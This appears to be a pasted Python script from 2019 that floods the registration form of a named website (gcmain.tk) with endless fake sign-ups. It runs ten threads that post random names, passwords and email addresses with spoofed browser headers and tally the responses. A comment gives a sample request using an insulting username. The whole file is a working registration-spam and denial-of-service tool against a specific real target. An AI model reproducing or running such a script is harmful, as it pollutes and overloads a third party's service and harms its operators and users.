· 7 years ago · Jan 13, 2019, 06:38 PM
1import requests
2import random
3import string
4import threading
5from time import sleep
6
7succ = 0
8unsucc = 0
9
10def random_string():
11 length = random.randint(5, 14)
12 return ''.join([random.choice(string.ascii_lowercase + string.digits) for _ in range(length)])
13
14def random_mail_provider():
15 return random.choice(('mail.ru', 'bk.ru', 'gmail.com', 'yandex.ru', 'ya.ru', 'yahoo.com'))
16
17headers = {
18 'Host' : 'www.gcmain.tk',
19 'Origin': 'http://www.gcmain.tk',
20 'Upgrade-Insecure-Requests' : '1',
21 'DNT' : '1',
22 'Content-Type' : 'application/x-www-form-urlencoded',
23 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.85 Safari/537.36 Vivaldi/2.3.1401.7',
24 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
25 'Referer' : 'http://www.gcmain.tk/gcID/',
26 'Accept-Encoding' : 'gzip, deflate',
27 'Accept-Language' : 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7'
28}
29
30#name=sin_govna&password=sin_govna&password2=sin_govna&email=sin_govna%40yandex.ru&submit=%D0%97%D0%B0%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%D1%81%D1%8F
31
32def flood():
33
34 global succ, unsucc
35
36 while True:
37 rstring = random_string()
38 data = {
39 'name' : rstring,
40 'password' : rstring,
41 'password2' : rstring,
42 'email' : '{rstring}@{mail}'.format(rstring=rstring, mail=random_mail_provider()),
43 'submit' : 'ЗарегиÑтрироватьÑÑ'
44 }
45 r = requests.post('http://www.gcmain.tk/php/Register.php', headers=headers, data=data)
46 #print(r.status_code, r.text)
47 if r.status_code == 200:
48 succ += 1
49 else:
50 unsucc += 1
51
52for _ in range(10):
53 threading.Thread(target=flood, daemon=True).start()
54
55while True:
56 try:
57 print('Successful:', succ, 'Failed:', unsucc, end='\r')
58 sleep(1)
59 except KeyboardInterrupt:
60 exit('Exited')